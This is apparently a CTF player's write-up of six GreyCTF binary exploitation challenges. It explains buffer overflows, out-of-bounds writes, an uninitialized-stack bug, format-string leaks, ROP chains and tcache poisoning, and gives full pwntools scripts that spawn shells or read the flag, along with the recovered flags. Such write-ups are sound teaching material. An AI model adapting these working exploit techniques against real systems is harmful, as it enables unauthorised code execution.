Over the weekend, I played GreyCTF with Social Engineering Experts, placing 1st locally and 8th internationally. Having not touched CTFs for ages due to NS, I was a bit rusty, but luckily the challenges were nice twists on simple concepts, offering a pleasant mix of difficulty. I focused on the pwn category and cleared it, save for the first “baby pwn” challenge that my teammate solved. Here are the write-ups for the challenges I solved.

Easy Pwn

Description

Well, it’s just a small binary. Can you pwn it without running the executable?
easypwn easypwn.c

Solution

We are given a 64 bit RISC-V binary and its source code. There is an obvious buffer overflow for a ret2win.

1
2
3
4
5
6
from pwn import *
p = remote("139.177.185.41", 10533)
sla = lambda x, y: p.sendlineafter(x, y)
payload = b"A" * 16 + p64(0x00106a6)
sla("Type", payload)
p.interactive()

grey{d1d_y0u_run_th3_3x3ut4b1e?_230943209rj03jrr23}

Monkeytype

Description

monkeytype is overrated. Note: Type q to quit.
dist.zip

Solution

The binary is a typing speed tester, giving the user the flag if they can type a quote faster than a set highscore.

1
2
3
4
5
6
if (highscore > POWERPUFF_GIRLS_SCORE) {  // 0xffffffff
    endwin();
    puts("You win! Here's the flag:");
    puts("grey{XXXXXXXXXXXXXXX}");
    exit(0);
}

The source code is given, and the author has commented that a large section of the code is irrelevant to solving the challenge. So, we only need to focus on the get_score() and the main() function. The main loop uses getch() to read the user’s input, incrementing idx and updating buf[idx] accordingly. The bug lies in how the main loop handles the DEL character, or \x7f.

1
2
3
4
5
if((ch = getch()) == ERR){
} else if (ch == '\x7f') {
    idx--;
    update_text(mainwin, buf, idx);
}

idx is decremented, but its value is not checked. We can use this out-of-bounds access to overwrite other local variables, including the highscore variable. By setting the highscore to a high enough value, e.g. “0x4141414141414141”, we trigger the win condition.

Script

1
2
3
4
5
6
from pwn import *
p = remote("34.124.157.94", 12321)
p.send(b"\x7f"*(0xa0 - 0x58))
p.send(b"\x41"*8)
leak = p.recvline_contains(b"grey")
log.info(leak)

grey{I_am_M0JO_J0JO!}

Arraystore

Description

Simple array store with 100 entries, what can go wrong?
arraystore

Solution

The binary contains an array of 100 longlongs. We can read or write any of the elements. Let’s look at how the program reads in the user’s desired index.

1
2
3
4
5
6
7
8
9
printf("Index: ");
fgets(buffer,100,stdin);
idx = strtoll(buffer,(char **)0x0,10);
if (idx < 100) {
    printf("Value: ");
    fgets(buffer,100,stdin);
    input = strtoll(buffer,(char **)0x0,10);
    array[idx] = input;
}

The idx is only checked with an upper bound. If we pass in a negative value, it will pass the check and we will have OOB access. So, let’s look for useful addresses in the region before the array. After a few read and writes, this is what the memory looks like: (the last address 0x007fffffffd880 is array[0])

1
2
3
4
5
6
7
8
9
10
11
12
gef  telescope -l 11 0x007fffffffd880-10*0x8
0x007fffffffd830+0x0000: 0x0000000000000000
0x007fffffffd838+0x0008: 0x00000055556035 ("5`UU"?)
0x007fffffffd840+0x0010: 0x0000000000000000
0x007fffffffd848+0x0018: 0x007fffffffdba0    0x00000000000a31 ("1\n"?)
0x007fffffffd850+0x0020: 0x0055555555601f    "Read/Write?: "
0x007fffffffd858+0x0028: 0x0055555555602d    0x203a7865646e49 ("Index: "?)
0x007fffffffd860+0x0030: 0x00555555556050    0x203a65756c6156 ("Value: "?)
0x007fffffffd868+0x0038: 0x00555555556035    "Invalid index"
0x007fffffffd870+0x0040: 0x0000000000000000
0x007fffffffd878+0x0048: 0x005555555551a9    <main+281> mov QWORD PTR [rsp+r15*8], rax
0x007fffffffd880+0x0050: 0x007ffff7fcb878    0x000c00120000000e         $rsp

We can leak the ELF base address from 0x007fffffffd860 and the stack address from 0x007fffffffd848.

1
2
3
4
leak = int(read((0x007fffffffd860 - 0x007fffffffd880) // 0x8).decode("ascii"))
elf.address = leak - 0x56532304d050 + 0x0056532304b000
leak = int(read((0x007fffffffd848 - 0x007fffffffd880) // 0x8).decode("ascii"))
array_0 = leak - 0x7fff12b4bb80 + 0x007fff12b4b860

Finally, we pop a shell by overwriting the GOT. Similar to before, we read the GOT to leak the remote’s libc version and address. Then, we can pop a shell in one write by overwriting the fgets() GOT to point to system(). We also append our shell command to the end of the buffer, so that the second fgets() call to read “Value:” immediately pops our shell.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
fn = "./arraystore"
elf = ELF(fn, checksec=False)
context.binary = elf
libc = elf.libc
p = remote("34.124.157.94", 10546)
sla = lambda x, y: p.sendlineafter(x, y)

def read(idx: int) -> bytes:
    sla(b"Read/Write?:", b"R")
    sla(b"Index:", str(idx).encode("ascii"))
    p.recvuntil(b"Value: ")
    return p.recvuntil(b"\n").replace(b"\n", b"")

def write(idx: int, payload: bytes) -> None:
    sla(b"Read/Write?:", b"W")
    sla(b"Index:", str(idx).encode("ascii"))
    sla(b"Value:", payload)

leak = int(read((0x007fffffffd860 - 0x007fffffffd880) // 0x8).decode("ascii"))
elf.address = leak - 0x56532304d050 + 0x0056532304b000
leak = int(read((0x007fffffffd848 - 0x007fffffffd880) // 0x8).decode("ascii"))
array_0 = leak - 0x7fff12b4bb80 + 0x007fff12b4b860

GOT = elf.got["fgets"]
FGETS = int(read((GOT - array_0) // 0x8).decode("ascii"))

# set up rop chain
libc = ELF("./libc.so", checksec=False)
libc.address = FGETS - libc.sym["fgets"]
write((GOT - array_0) // 0x8, str(libc.sym["system"]).encode("ascii") + b";/bin/sh")

p.interactive()

grey{wh0_s41d_1i5_0n1y_100_3ntr1e5?_9384h948rhfp84e3w9rfh984}

Read Me A Book

Description

Welcome to the library of hopes and dreams… Read me a book and all your dreams might come true :)
read-me-a-book.zip

Solution

The binary comes with a few text files. We can choose from a list of books corresponding to the text files, and the binary will return its contents.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int choose_book(void) {
  int num;
  long in_FS_OFFSET;
  int array [11];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("\nWhich book would you like to read?");
  puts("1. Bee Movie Script");
  puts("2. Star Wars Opening");
  puts("3. Recipe to make the best Youtiaos");
  puts("4. The Secret to Life");
  printf("> ");
  num = __isoc99_scanf(&%d,array);
  if ((num != 0) && (array[0] == 0x539)) {
    puts("\nLibrarian: Hey! This book is not for your eyes!");
    close_library();
  }
  eat_newlines();
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return array[0];
}

The return value is used to decide which text file is read. Note that one of the books contains the flag, but we are not allowed to choose its index 0x539. There is also a feedback function where a chunk is allocated for you to write anything.

Suspiciously, the choose_book() function has two conditions that must be fulfilled before failling the flag file index. Not only must the input index be the flag index 0x539, but the return value of the scanf() call must not be zero. This means that if we can set the result of the scanf() call to zero while setting array[0] to 0x539, we can read the flag file. Following this thought process, scanf() returns zero when no input items are matched, i.e. the user’s input does not contain numbers. In this scenario, notice that array[0] remains uninitialized.

Experimenting (with the only other function), we find that the return value of the read(0, chunk, 0xfff) call in the give_feedback() function overlaps with the uninitialized value.

This bug of uninitialized stack / overlapping stack is also hinted at by the odd size of the array – int array[11]

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
fn = "./chall_patched"
context.log_level = "debug"
elf = ELF(fn, checksec=False)
p = remote("34.124.157.94", 12344)
sla = lambda x, y: p.sendlineafter(x, y)

def read(x: int) -> None:
    sla(b"Option: ", b"1")
    sla(b">", str(x).encode("ascii"))
    if b"grey{" in p.recvline():
        input("WIN!")

def feedback(payload: bytes) -> None:
    sla(b"Option: ", b"2")
    sla(b"Leave us your feedback:", payload)  # read max of 0xfff

read(4)
feedback(b"A"*(0x539 - 1))
read(b"a")

grey{librarian_f0rg0t_t0_1n1t_s7ack_9a3d5e8}

Ropv

Description

Echo service again??????????
ropv

Solution

1
2
3
4
5
6
7
$ checksec --file=./ropv          
[*] '/home/kali/Desktop/grey/pwn/ropv/ropv'
    Arch:     em_riscv-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

Another riscv64 challenge, with the name hinting at ROP. Let’s take a look at the disassembly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
undefined8 main(void) {
  char buffer [8];
  longlong canary;
  
  canary = __stack_chk_guard;
  setbuf((FILE *)stdout,(char *)0x0);
  setbuf((FILE *)stdin,(char *)0x0);
  setbuf((FILE *)stderr,(char *)0x0);
  printf("Echo server: ");
  read(0,buffer,0x400);
  printf(buffer);
  puts("");
  printf("Echo server: ");
  read(0,buffer,0x400);
  printf(buffer);
  puts("");
  if (canary != __stack_chk_guard) {
    __stack_chk_fail();
  }
  return 0;
}

The binary is a simple echo server, with two obvious vulnerabilities. There is a BOF in the read() call and a format string bug in the printf() call. We can also use both bugs twice before the function returns. Since we will be ROP-ing with our BOF, we use our first FSB to leak the canary. Then, in order to prevent the binary from exiting, we use the second BOF to construct a ROP chain to return to main.

1
2
3
sla(b"Echo server: ", b"%9$p")
canary = int(p.recvuntil(b"\n").replace(b"\n", b"").decode("ascii"), 16)
sla(b"Echo server: ", b"A" * 8 + p64(canary) + p64(0) + p64(0x00010430))

For debugging, you can use the following command: p = process(‘qemu-riscv64 -g 1234 ./ropv’, shell=True)

On our second time in main, we begin constructing our ROP chain to pop a shell. We use our first FSB to store the “/bin/sh” string in the BSS region. Next, let’s figure out what we need in our ROP chain. Our goal is to pop a shell using the execve syscall (note that the syscall instruction is called ecall for riscv). Next, we need a gadget that can pop values into the corresponding registers to set up the ecall. From another write-up, we find that there is a useful gadget in the risc64 libc starting with the instruction mv t1, a0. We can look for this instruction’s hex representation “83 2a” in Ghidra. Checking through the few occurrences, we find it:

The gadget pops a bunch of stack values into various registers, which will be useful later. Additionally, this gadget moves the value of the register a0 into the register t1, and ends by jumping to the address in t1. This means that we can control the program flow after the gadget by controlling the initial value of a0.

We can chain this gadget with a gadget that sets the value of the a0 register. We can use objdump to look for such gadgets. We find such a gadget with the instruction ld a0,8(sp) at 0x30372.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
30372:	70e6                	ld	ra,120(sp)
30374:	7446                	ld	s0,112(sp)
30376:	6522                	ld	a0,8(sp)
30378:	74a6                	ld	s1,104(sp)
3037a:	7906                	ld	s2,96(sp)
3037c:	69e6                	ld	s3,88(sp)
3037e:	6a46                	ld	s4,80(sp)
30380:	6aa6                	ld	s5,72(sp)
30382:	6b06                	ld	s6,64(sp)
30384:	7be2                	ld	s7,56(sp)
30386:	7c42                	ld	s8,48(sp)
30388:	7ca2                	ld	s9,40(sp)
3038a:	7d02                	ld	s10,32(sp)
3038c:	6de2                	ld	s11,24(sp)
3038e:	6109                	add	sp,sp,128
30390:	8082                	ret

Importantly, the gadget loads ra with a stack value, then ends with the ret instruction, which returns to the value in the ra register. This allows us to control the program flow after this gadget too.

Finally, we are ready to chain our gadgets. Here’s a quick recap:

  • BOF: Canary + load_a0_gadget
  • load_a0_gadget: Load ecall_gadget address into a0 + return to load_regs_gadget (stored in ra)
  • load_regs_gadget: Setup registers for ecall + return to ecall_gadget (stored in a0)
  • ecall_gadget: Pops the shell

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
p = remote("139.177.185.41", 12335)

sla = lambda x, y: p.sendlineafter(x, y)

sla(b"Echo server: ", b"%9$p")
canary = int(p.recvuntil(b"\n").replace(b"\n", b"").decode("ascii"), 16)
sla(b"Echo server: ", b"A" * 8 + p64(canary) + p64(0) + p64(0x00010430))

BSS = 0x71FD8
shell = int.from_bytes(b"/bin/sh", byteorder="little")
sla(b"Echo server: ", fmtstr_payload(offset=8, writes={BSS: shell}))

load_regs_gadget = 0x004281A
load_a0_gadget = 0x00030372
ecall_gadget = 0x000266A6
payload = (
    p64(load_a0_gadget)
    + p64(0)
    + p64(ecall_gadget)
    + p64(0) * 13  # 0x08 - 0xa0
    + p64(load_regs_gadget)
)
# setup regs for ecall
payload += p64(0) + p64(BSS) + p64(0) * 6 + p64(221) + p64(0) * 9
sla(b"Echo server: ", b"A" * 8 + p64(canary) + p64(0) + payload)

p.interactive()

grey{riscv_risc5_ropv_rop5_b349340j935gj09}

Write Me A Book

Description

Give back to the library! Share your thoughts and experiences! The flag can be found in /flag
write-me-a-book.zip

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./chall 
Welcome to the library of hopes and dreams!

We heard about your journey...
and we want you to share about your experiences!

What would you like your author signature to be?
> flyyee 

Great! We would like you to write no more than 10 books :)
Please feel at home.
What would you like to do today?
1. Write a book
2. Rewrite a book
3. Throw a book away
4. Exit the library
Option: 

The binary first reads up to 12 characters and constructs author_signature by prepending “by “. It then loads a few seccomp rules:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

So, we can only use ORW and exit syscalls. Next, the binary calls the write_books() function, which contains the main program loop. We are given four options:

A book is a struct containing a pointer to a buffer containing its contents, and the size of the buffer. Each book is stored in the books[10] array (the “shelf”).

  1. Write a book. We can insert a book at index 1 - 10 on the shelf (as long as the slot is empty), and are allowed to write up to 0x20 characters of content for the book. The author_signature is then appended to the contents. A chunk is malloc-ed according to the total length. The pointer to the chunk and the total length is stored in the books array.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    puts("Write me a book no more than 32 characters long!");
    length = read(0,buffer,0x20);
    i = idx;
    size = length + 0x10;
    ptr = (char *)malloc(size);
    books[i].ptr = ptr;
    memcpy(books[idx].ptr,buffer,size - 0x10);
    signature_part2 = author_signature._8_8_;
    ptr = books[idx].ptr;
    *(undefined8 *)(ptr + (size - 0x10)) = author_signature._0_8_;
    *(undefined8 *)((long)(ptr + (size - 0x10)) + 8) = signature_part2;
    books[idx].size = size;
    puts("Your book has been published!\n");
    
  2. Rewrite a book. We can rewrite an existing book (as long as the slot on the shelf is not empty), changing its contents according to the corresponding book size.
    1
    2
    3
    4
    5
    6
    7
    
    puts("Write me the new contents of your book that is no longer than what it was before.");
    length = read(0,books[idx].ptr,books[idx].size);
    signature_part2 = author_signature._8_8_;
    buffer = books[idx].ptr;
    *(undefined8 *)(buffer + length) = author_signature._0_8_;
    *(undefined8 *)((long)(buffer + length) + 8) = signature_part2;
    puts("Your book has been rewritten!\n");
    
  3. Throw a book. This removes the book from the shelf and frees any allocated memory.
    1
    2
    3
    
    free(books[idx].ptr);
    books[idx].ptr = (char *)0x0;
    puts("Your book has been thrown!\n");
    
  4. Exit the library.
  5. Leak. There is a hidden 5th option that can be found through looking at the decompiled code. This can only be run once, and reveals the pointer for any one of the allocated books.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
    print_menu();
    __isoc99_scanf(&%d,&choice);
    getchar();
    if (choice == 0x539) {
     if (secret_msg == 0) {
         printf("What is your favourite number? ");
         __isoc99_scanf(&%d,&num);
         if (((0 < num) && (num < 0xb)) && (books[num + -1].ptr != (char *)0x0)) {
             printf("You found a secret message: %p\n",books[num + -1].ptr);
         }
         secret_msg = 1;
     }
    }
    ...
    

This is a usual 4-operation CRUD heap challenge, only that the ‘read’ is not for the contents of the book. There is a glaring bug is in rewrite_book(), where there is a heap BOF. In write_book(), size is defined as the length of the user-input content + 0x10 for the appended signature. Importantly, the chunk is allocated with size books[idx].size.

1
2
3
4
5
6
length = read(0,buffer,0x20);
i = idx;
size = length + 0x10;
ptr = (char *)malloc(size);
...
books[idx].size = size;

In rewrite_book(), we can write up to books[idx].size bytes into the heap buffer, which would completely fill it.

1
2
3
4
5
length = read(0,books[idx].ptr,books[idx].size);
signature_part2 = author_signature._8_8_;
...
*(undefined8 *)(buffer + length) = author_signature._0_8_;
*(undefined8 *)((long)(buffer + length) + 8) = signature_part2;

However, the signature is then still appended at the end of the buffer, overflowing it. This gives us a maximum of 0x10 bytes of overflow on the heap. For example, if we first write a book with 0x20 characters, its size will be set to 0x20 + 0x10 = 0x30. Then, when we re-write the book, we can enter 0x30 characters, after which the signature is appended past the end of the chunk. We can use this to groom the heap and poison the tcache.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
--------------        --------------        --------------           --------------
- A metadata -        - A metadata -        - A metadata -           - A metadata -
--------------        --------------        --------------           --------------
-     A      -        -     A      -        -     A      -           -     A      -
-            -        -            -        -            -           -            -
--------------        --------------        --------------           -------------- <-}
- B metadata -        - A overflow -        - A overflow -           - A overflow - <-}
--------------        --------------        --------------           -------------- <-}
-     B      -   =>   -     B      -   =>   -     B      -   =>      -  B freed   - <-}
-            -        -            -        -            -           -            - <-}
--------------        --------------        --------------       {-> -------------- <-}
- C metadata -        - C metadata -        - C metadata -       {-> - C metadata - <-}
--------------        --------------        --------------       {-> -------------- <-}
-     C      -        -     C      -        -  C freed   -       {-> -  C freed   - <-}
-            -        -            -        -            -       {-> -            - <-}
--------------        --------------        --------------       {-> -------------- <-}
  1. Allocate three contiguous chunks A, B and C.
  2. Use the 0x10 bytes of overflow in A to overwrite B’s metadata. The first 0x8 bytes of the metadata contains the previous chunk’s size, and the next 0x8 bytes contains the current chunk’s size. So, we use our overflow to forge a larger size for chunk B.
  3. Free chunk C, placing it in the tcache bin.
  4. Free chunk B. The freed chunk B will be of a larger size than it is supposed to be.
  5. (Not pictured) Re-allocate chunk B. The allocated chunk will overlap into the freed chunk C. Writing in the allocated chunk will allow us to control the contents of the chunk C, including the next pointer located just after the metadata.

There are a few caveats to note:

  • For the tcache poisoning, since chunk C’s next pointer points to our target, the chunk allocated after chunk C will be our target. However, the tcachebin tracks how many free chunks are in it, so we need its count to be 1 prior to allocating our target chunk. So, we actually need to allocate a fourth chunk D initially, after chunk C. We then free chunk D first, then C and B. When writing into the re-allocated chunk B, the tcache bin will look like this: C -> D, with 2 freed chunks. After forging the next pointer, the bin looks like this: C -> target, still with 2 freed chunks. Prior to allocating the target chunk, the count will be 1.
  • There are limitations to the size of chunk B. In order to successfully re-obtain chunk B via an allocation, we need to ensure that the size of the freed chunk B is obtainable via the malloc() in write_book(). We first choose the smallest possible size for chunk B by inputting only a single character for the book’s contents. We then forge its size to 0x40. We can re-obtain it subsequently by inputting 0x20 characters in write_book(). Notice that we initially choose the smallest possible size so that there is a larger overlap into chunk C. If chunk B was instead initially of size 0x30, and we forged its size to 0x40, we would only get a 0x10 byte overlap into chunk C. That would only be enough to change C’s metadata, but not poison tcache.
  • Our heap overflow actually does not come from the contents of the book that we input, but the author’s signature. This means that in order to correctly forge chunk B’s metadata, we need to store the forged metadata in the author’s signature from the start – 5 characters of padding (the signature has 3 characters prepended “by “) and the last character for the fake size.
  • In order to forge the next pointer, we need to bypass safe-linking which is present in glibc 2.35. Safe-linking uses the address where the next pointer is stored to protect the next pointer’s value. Thus, we need a heap address leak, which we achieve using the hidden leak option.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# heap grooming
signature = b"a"*5 + b"\x41"
sla(b"> ", signature)

write(1, b"A"*0x20)
write(2, b"B"*0x1)
write(3, b"C"*0x20)

heap_addr = leak(3)  # leak heap address for tcache poisoning later

write(4, b"D"*0x20)  # act as buffer in tcachebin
rewrite(1, b"A"*0x30)  # changes the size of B from 0x21 -> 0x41
delete(4)
delete(3)
delete(2)
write(2, b"E"*0x20)  # re-allocate chunk B

We utilise tcache poisoning to obtain a chunk pointing to the bss region spanning secret_msg and books[0], which is coincidentally the maximum size we can control in our target chunk, 0x30 bytes. We unset secret_msg (in case we need to leak again subsequently) and set books[0].ptr = secret_msg and books[0].size = 0x1000. Then, by re-writing the book at slot 1, we can write 0x1000 bytes from the start of secret_msg. Subsequently, we use this to make books[1] point to our desired target, and then write to it by re-writing the book at slot 2. This is a more powerful arbitrary write primitive that the tcache poisoning as we can avoid the heap grooming, and can write an arbitrary amount.

1
2
3
4
5
6
7
8
9
10
11
12
13
# tcache poisoning
fake_chunk = p64(0) + p64(0x41)  # prev_size, next_size
secret_msg = 0x004040c0
fake_chunk += p64(secret_msg ^ (heap_addr >> 12)) + p64(0x0)  # next = secret_msg
rewrite(2, b"E"*0x10 + fake_chunk)  # fake-chunk replaces chunk C's metadata & next ptr

write(3, b"F"*0x20)  # re-allocate chunk C
write(4, b"G"*0x20)  # target chunk allocated
fake_book = p64(0x1000) + p64(secret_msg)  # size, ptr
payload = (p64(0) * 2 +  # secret_msg
b"by " + signature + 7 * b"\x00" +  # author_signature
fake_book)  # books[0]
rewrite(4, payload)  # write to target: book[0] now has ptr=secret_msg & size=0x1000

Next, we will use our AAW to leak useful addresses. The binary has no PIE, so we know the ELF base address. We also have our heap leak from earlier. However, the seccomp hints at a ret2libc ROP solution, so we need a libc and a stack address. This is where the throw_book() function comes in useful.

1
2
3
free(books[idx].ptr);
books[idx].ptr = (char *)0x0;
puts("Your book has been thrown!\n");

By overwriting the free GOT, we can call an arbitrary function on books[idx].ptr, which we can control using our AAW primitive. In order to leak a libc address, we overwrite the free GOT with the puts PLT address and set books[idx].ptr to any other resolved GOT address. This will output the address stored at the GOT address, which will be a libc address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# LEAK libc
fake_book2 = p64(0x8) + p64(elf.got["free"])
bss_payload = payload + fake_book2
rewrite(1, bss_payload)  # writes to secret_msg. book[1] now has ptr=got['free'] & size=0x8
rewrite(2, p64(elf.plt["puts"]))  # overwrites free with puts

fake_book2 = p64(0x8) + p64(elf.got["getchar"])
bss_payload = payload + fake_book2
rewrite(1, bss_payload)  # writes to secret_msg. book[1] now has ptr=got['getchar'] & size=0x8
delete(2)  # free(elf.got["getchar"]) becomes puts(elf.got["getchar"])
leak = u64(p.recvuntil(b"Your book has been thrown")[1:7].ljust(8, b"\0"))
log.info(hex(leak))
libc = elf.libc
libc.address = leak - 0x7f2fe7c87b60 + 0x007f2fe7c00000

In a similar vein, we can leak a stack address by overwriting the free GOT with the printf PLT address and set books[idx].ptr to point to a format string. We can craft a format string “%p” and place it in a known location, i.e. the heap or the BSS. This allows us to leak pointers from the stack, of which offset 8 contains a stack address.

From our leaked stack address, we can calculate the location of the saved return address. Then, we can use our AAW primitive to set up our ROP chain at that location. Recall that our ROP chain can only use the ORW syscalls due to the earlier seccomps.

1
2
3
4
5
6
7
8
flag_where = book_start + 0x10 * 10  # buffer to read the flag file into
# open("/flag", 0)
rop_payload = POP_RAX + p64(2) + POP_RDI + p64(book_start + 0x10 * 2) + SYSCALL
# read(3, flag_where, 0x50)
rop_payload += POP_RAX + p64(0) + POP_RDI + p64(3) + POP_RSI + p64(flag_where) + POP_RDX_RBX + p64(0x50) + p64(0x0) + SYSCALL
# write(1, flag_where, 0x50)
rop_payload += POP_RAX + p64(1) + POP_RDI + p64(1) + SYSCALL
rewrite(2, rop_payload)  # overwrite saved_rip with rop_payload

I found this challenge the most fun. While the initial bug is easy to spot, the final exploit chain takes some thought to construct.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
fn = "./chall_patched2"
context.log_level = "debug"
elf = ELF(fn, checksec=False)
context.binary = elf

p = remote("34.124.157.94", 12346)
sla = lambda x, y: p.sendlineafter(x, y)
sa = lambda x, y: p.sendafter(x, y)

def write(idx: int, payload: bytes) -> None:
    sla(b"Option:", b"1")
    sla(b"Index:", str(idx).encode("ascii"))
    sa(b"Write me a book no more than 32 characters long!", payload)
def rewrite(idx: int, payload: bytes) -> None:
    sla(b"Option:", b"2")
    sla(b"Index:", str(idx).encode("ascii"))
    sa(b"Write me the new contents of your book that is no longer than what it was before.", payload)
def delete(idx: int) -> None:
    sla(b"Option:", b"3")
    sla(b"Index:", str(idx).encode("ascii"))
def leak(idx: int) -> int:
    sla(b"Option:", b"1337")
    sla(b"What is your favourite number?", str(idx).encode("ascii"))
    p.recvuntil(b"You found a secret message: ")
    leak = int(p.recvuntil(b"\n").replace(b"\n", b"").decode("ascii"), 16)
    return leak
def leave() -> None:
    sla(b"Option:", b"4")

# heap grooming
signature = b"a"*5 + b"\x41"
sla(b"> ", signature)

write(1, b"A"*0x20)
write(2, b"B"*0x1)
write(3, b"C"*0x20)

heap_addr = leak(3)  # leak heap address for tcache poisoning later

write(4, b"D"*0x20)  # act as buffer in tcachebin
rewrite(1, b"A"*0x30)  # changes the size of B from 0x21 -> 0x41
delete(4)
delete(3)
delete(2)
write(2, b"E"*0x20)  # re-allocate chunk B

# tcache poisoning
fake_chunk = p64(0) + p64(0x41)  # prev_size, next_size
secret_msg = 0x004040c0
fake_chunk += p64(secret_msg ^ (heap_addr >> 12)) + p64(0x0)  # next = secret_msg
rewrite(2, b"E"*0x10 + fake_chunk)  # fake-chunk replaces chunk C's metadata & next ptr

write(3, b"F"*0x20)  # re-allocate chunk C
write(4, b"G"*0x20)  # target chunk allocated
fake_book = p64(0x1000) + p64(secret_msg)  # size, ptr
payload = (p64(0) * 2 +  # secret_msg
b"by " + signature + 7 * b"\x00" +  # author_signature
fake_book)  # books[0]
rewrite(4, payload)  # write to target: book[0] now has ptr=secret_msg & size=0x1000

# LEAK libc
fake_book2 = p64(0x8) + p64(elf.got["free"])
bss_payload = payload + fake_book2
rewrite(1, bss_payload)  # writes to secret_msg. book[1] now has ptr=got['free'] & size=0x8
rewrite(2, p64(elf.plt["puts"]))  # overwrites free with puts

fake_book2 = p64(0x8) + p64(elf.got["getchar"])
bss_payload = payload + fake_book2
rewrite(1, bss_payload)  # writes to secret_msg. book[1] now has ptr=got['getchar'] & size=0x8
delete(2)  # free(elf.got["getchar"]) becomes puts(elf.got["getchar"])
leak = u64(p.recvuntil(b"Your book has been thrown")[1:7].ljust(8, b"\0"))
log.info(hex(leak))
libc = elf.libc
libc.address = leak - 0x7f2fe7c87b60 + 0x007f2fe7c00000

# LEAK stack
fake_book2 = p64(0x8) + p64(elf.got["free"])
bss_payload = payload + fake_book2 + b"hello.%p\0"
rewrite(1, bss_payload)  # writes to secret_msg. book[1] now has ptr=got['free'] & size=0x8
rewrite(2, p64(elf.plt["printf"]))  # overwrite free with puts

book_start = 0x004040e0
fake_book2 = p64(0x8) + p64(book_start + 2 * 0x10)  # size=0x8 & ptr=book[2]
bss_payload = payload + fake_book2 + b"hello.%8$p.\0"
rewrite(1, bss_payload)  # writes to secret_msg. book[1] now has ptr=book[2] & size=0x8. book[2] now equals our format string.
delete(2)  # free("hello.%8$p.\0") becomes printf("hello.%8$p.\0")
p.recvuntil(b"hello.")
leak = int(p.recvuntil(b".").replace(b".", b"").decode("ascii"), 16)
saved_rip = leak - 0x007ffd2515a330 + 0x007ffd2515a338

# ROP
fake_book2 = p64(0x200) + p64(saved_rip)  # size=0x200 & ptr=saved_rip
bss_payload = payload + fake_book2 + b"/flag\0"
rewrite(1, bss_payload)  # writes to secret_msg. book[1] now has ptr=saved_rip & size=0x200. book[2] now equals flag path.
POP_RDI = p64(libc.address + 0x001bc021)
POP_RSI = p64(libc.address + 0x001bb317)
POP_RDX_RBX = p64(libc.address + 0x00175548)
POP_RAX = p64(libc.address + 0x001284f0)
SYSCALL = p64(libc.address + 0x00140ffb)

flag_where = book_start + 0x10 * 10  # buffer to read the flag file into
# open("/flag", 0)
rop_payload = POP_RAX + p64(2) + POP_RDI + p64(book_start + 0x10 * 2) + SYSCALL
# read(3, flag_where, 0x50)
rop_payload += POP_RAX + p64(0) + POP_RDI + p64(3) + POP_RSI + p64(flag_where) + POP_RDX_RBX + p64(0x50) + p64(0x0) + SYSCALL
# write(1, flag_where, 0x50)
rop_payload += POP_RAX + p64(1) + POP_RDI + p64(1) + SYSCALL
rewrite(2, rop_payload)  # overwrite saved_rip with rop_payload

leave()  # return
p.interactive()

grey{gr00m1ng_4nd_sc4nn1ng_th3_b00ks!!}